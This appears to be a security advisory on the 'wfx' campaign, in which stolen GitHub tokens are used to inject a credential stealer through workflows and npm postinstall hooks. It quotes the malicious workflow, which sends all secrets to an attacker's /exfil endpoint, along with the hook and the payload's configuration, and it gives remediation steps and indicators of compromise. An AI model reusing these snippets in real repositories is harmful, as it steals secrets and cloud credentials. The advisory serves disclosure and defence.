wfx: GitHub Actions Credential Stealer Hits 8,000 Repos

An attacker is using stolen GitHub tokens to push a credential stealer into other people’s repositories. The stealer runs once, in GitHub Actions or on npm install, and sends the repository’s secrets and cloud credentials to the attacker. It also tries to leave backdoors in AWS and Azure that survive a secret rotation. In almost all repositories the attacker then reverts the commit, so the branch looks clean.

Aikido Security first reported the campaign⁠(opens in new tab).

Between November 10, 2026 at 12:46 UTC and November 12 at 04:36 UTC, 8,093 repositories received malicious commits. The campaign was still active when that search ran. Two package registries serve the payload: Packagist in digitalelvis/neuronai-studio v3.14.3, and the Go module proxy in the latest version of github.com/vkuznet/gocurl. The name wfx comes from the prefix the payload puts on its files, branches and cloud objects. If your repository is in the list below, rotate every secret it can read and check your cloud accounts for backdoors.

How the attack works

The commits are authored as real users of the repository, with their noreply email and no signature, which points to stolen tokens. In 1,343 repositories the author is an account other than the owner, such as a collaborator or a bot.

The attacker first opens a pull request titled docs: dependency audit notes from a branch named wfx-docs (for example iamharidasan/great-vibes-job#2⁠(opens in new tab)). The pull request adds a small notes file and tests whether the token can write to the repository. GitHub search shows 61,879 of these pull requests in 61,734 repositories, opened from 4,833 accounts. 91% are still open. Then the attacker plants the stealer in one of three ways:

All three run in CI. Empty repositories have no workflow to inject into, so the attacker first pushes chore: initial commit and then the new workflow file. After the run, the attacker pushes ci: restore and ci: cleanup to remove the payload. In Panelinha-34/tech-challenge-01⁠(opens in new tab), the payload went in at 14:01 UTC (9881b5d⁠(opens in new tab)) and came out at 14:05 (952a565⁠(opens in new tab)). A few repositories still have the live payload, including vkuznet/gocurl, Kellie-Brighty/Suinicate, and two with the postinstall hook still in package.json (MattiaPARRINELLO/git-quest and alexappsco/ttra-site).

The malicious workflow

The workflow runs on every push. It asks for an OIDC token (id-token: write) and for permission to set commit statuses. The first step copies the Actions runtime tokens into the job environment, and the second passes all secrets and variables to the payload as JSON.

name: Dependency Audit y82c
on:
  push:
  workflow_dispatch:
permissions:
  contents: read
  actions: read
  id-token: write
  statuses: write
jobs:
  audit_base:
    runs-on: ubuntu-latest
    steps:
      - name: Pass runtime
        uses: actions/github-script@v7
        with:
          script: |
            const fs = require('fs');
            const ev = process.env;
            const keys = ['ACTIONS_RUNTIME_TOKEN','ACTIONS_RUNTIME_URL','ACTIONS_CACHE_URL','ACTIONS_RESULTS_URL'];
            const lines = keys.filter(k => ev[k]).map(k => k + '=' + ev[k]);
            if (lines.length) fs.appendFileSync(ev.GITHUB_ENV, lines.join('\n') + '\n');
      - name: Run audit
        env:
          WF_SECRETS: "${{ toJSON(secrets) }}"
          WF_VARS: "${{ toJSON(vars) }}"
          WF_REPO: "${{ github.repository }}"
          WF_REF: "main"
          WF_ENV: ""
          WF_CALLBACK: "http://194.150.166.244:8080/exfil"
          WF_CALLBACK2: ""
          WF_CTOKEN: "b42d70a7aab9140ca19e8249"

Source: masterpranay1/Country-Quiz-Challenge@9b18a65⁠(opens in new tab).

The npm postinstall hook

The hook runs the payload on each npm install, whether on a CI runner or a developer’s laptop.

     "test": "vitest run",
-    "test-watch": "vitest"
+    "test-watch": "vitest",
+    "postinstall": "sh ./.ci-dwgd2n.sh >/dev/null 2>&1; _r=$?; if [ \"$_r\" -eq 42 ]; then exit 42; fi"
   },

What the payload steals

All three methods run the same script. It collects:

• GitHub secrets: all repository secrets and variables, GITHUB_TOKEN and the Actions runtime tokens.
• Tokens in memory: it scans the runner’s process memory and environment for GitHub, AWS, OpenAI, Anthropic and other API keys.
• Credential files: cloud CLI configs, ~/.ssh, ~/.gnupg, registry tokens, kubeconfig, shell history, crypto wallets and AI tool configs.
• Secrets in the repository: files such as .env, *.tfvars and *.tfstate.
• Cloud access: it requests GitHub OIDC tokens for AWS, Azure and GCP and tries to use them, even when the repository has no cloud setup. It also replays the OIDC token against HashiCorp Vault and Kubernetes APIs.

It sends the data by HTTP POST to port 8080 on 194.150.166[.]244, 18.143.168[.]96 or 153.75.82[.]159, or to a Telegram chat. In a sample of 200 payload commits, about half used the first server and a fifth used Telegram only. The code can also hide stolen data in Actions caches, artifacts and job summaries, but every sample analyzed had this switched off.

Backdoors that outlast the run

• AWS: it creates new access keys and edits role trust policies. Its sessions are named wfx-<pid>.
• Azure: it adds a federated credential named wfx-ci-<n> to Entra app registrations. Any workflow on the repository’s main branch can then log in to Azure as that app, even after you rotate client secrets.

The payload also has code to mark required status checks as passing, but no sample analyzed switched it on.

Package impact

Two published versions carry the full payload. A normal composer require or go get does not run it in either case.

neuronai-studio v3.14.3 on Packagist

The repository has a release workflow that runs npm ci and release-it on every push to main. The attacker’s push started it, but the payload did not run there:

The release commit uses the github-actions[bot] identity that the workflow sets, but it came from outside GitHub Actions. The data does not show who ran it, the owner or the attacker. The same account also has a ci-check-2830 branch from October 20, a pattern Aikido links to an earlier wave of attacks.

The payload’s header shows its settings for this repository:

export WF_REPO='digitalelvis/neuronai-studio'
export WF_REF='main'
export WF_ENV='script'
export WF_CALLBACK='http://194.150.166.244:8080/exfil'
export WF_CALLBACK2=''
export WF_CTOKEN='b42d70a7aab9140ca19e8249'
export WF_CHUNK='8388608'
export WF_MAXFILES='111'
export WF_MAXSIZE='524288'
export WF_TARBALL='1'
export WF_HISTORY='1'
export WF_MEMSCAN='1'
export WF_GCP='1'
export WF_EXFIL_CACHE='1'
export WF_EXFIL_SUM='1'
export WF_EXFIL_ART='1'
export WF_EXFIL_LOG='0'
export WF_PRIVATE='0'
export WF_FALLBACK='0'
export WF_KEY=''

WF_MEMSCAN='1' turns on the memory scan. The cache, summary and artifact channels only run when WF_PRIVATE is 1, so the data leaves by HTTP POST to 194.150.166[.]244 alone.

The release changes no PHP code. It adds .ci-e5infq.sh (1,493 lines) and the hook in package.json. That file is private and never reached npm.

Block v3.14.3 and pin v3.14.2 or earlier. Packagist still serves v3.14.3 as the latest version.

gocurl on the Go module proxy

gocurl has no tags, so go get ...@latest resolves to the newest commit. That commit is the attacker’s 8d5aad0⁠(opens in new tab), and the Go proxy now caches it for good. The commit adds 1,508 lines to .github/workflows/build.yml and touches no Go code.

The attacker left the workflow trigger alone. It only fires on a version tag:

permissions:
  statuses: write
name: Build

on:
  push:
    tags:
      - '*.*.*'

The push carried no tag, and the repository has zero Actions runs, so the payload never ran. The attacker also never reverted this commit. go get, go build and go mod download do not run workflow files. The payload runs only when someone pushes an x.y.z tag on this commit, in the original repository or in a fork with Actions on. The owner should remove the injected steps before the next release. Consumers should block this pseudo-version.

A scan of 218 npm, Go and Packagist packages whose source repositories received malicious commits found no other published version with the payload. PyPI and other registries were not checked.

The payload reached 28 WebdriverIO repositories through commits authored as the bot account wdio-bot. No package release was affected. Anyone who ran npm install on those commits still ran the payload, so treat the wdio-bot token as stolen.

Affected repositories

Search the table for your organization or user name. Each row links to one malicious commit and names its commit author.

The list comes from GitHub search, which only covers the default branch of public repositories. Private repositories and other branches are missing, so the true total is higher. Repositories that only got the probe pull request are not in the list either. All 76 sampled commits from the list, across the three methods, contained the payload.

If your repository is in the list

A probe pull request on its own means the account is compromised, even if no payload commit followed.

1. Revoke the commit author’s tokens, OAuth app grants, SSH keys and sessions, and turn on 2FA. That account is the likely entry point.
2. Rotate every secret and variable the repository can read, including environment and organization secrets. Rotate any key the runner could reach.
3. Delete the wfx-docs branch and close the probe pull request.
4. Pull any package version built between the malicious commit and the ci: cleanup commit. Publish again from a clean commit.
5. If someone ran npm install on an affected commit, treat that machine as compromised and rotate its keys.

Check for cloud backdoors

• Entra ID: federated credentials named wfx-ci-* that you did not create.
• AWS CloudTrail: AssumeRoleWithWebIdentity or AssumeRole with session name wfx-*, then CreateAccessKey or UpdateAssumeRolePolicy from those sessions.
• GCP: GenerateAccessToken and SignJwt calls from your GitHub workload identity pool.
• Vault: JWT logins from the GitHub OIDC issuer.

Indicators of compromise

The analysis covers four payload samples: masterpranay1/Country-Quiz-Challenge@9b18a65⁠(opens in new tab), fbt0wizard/select-wizard@f704070⁠(opens in new tab), Panelinha-34/tech-challenge-01@9881b5d⁠(opens in new tab) and chrisvillegas/docs-a2vvrm@8fea35f⁠(opens in new tab). The branch patterns chore/[a-z0-9]{8} and ci-check-[0-9]{4} come from an outside report and do not appear in these samples.

Related reading

• Megalodon: Mass GitHub Repo Backdooring via CI Workflows, an earlier campaign that also replaced workflows to steal secrets.
• prt-scan GitHub Actions exfiltration campaign, which used pull requests to steal CI credentials.
• nx Build System Compromise, where a postinstall hook stole developer credentials.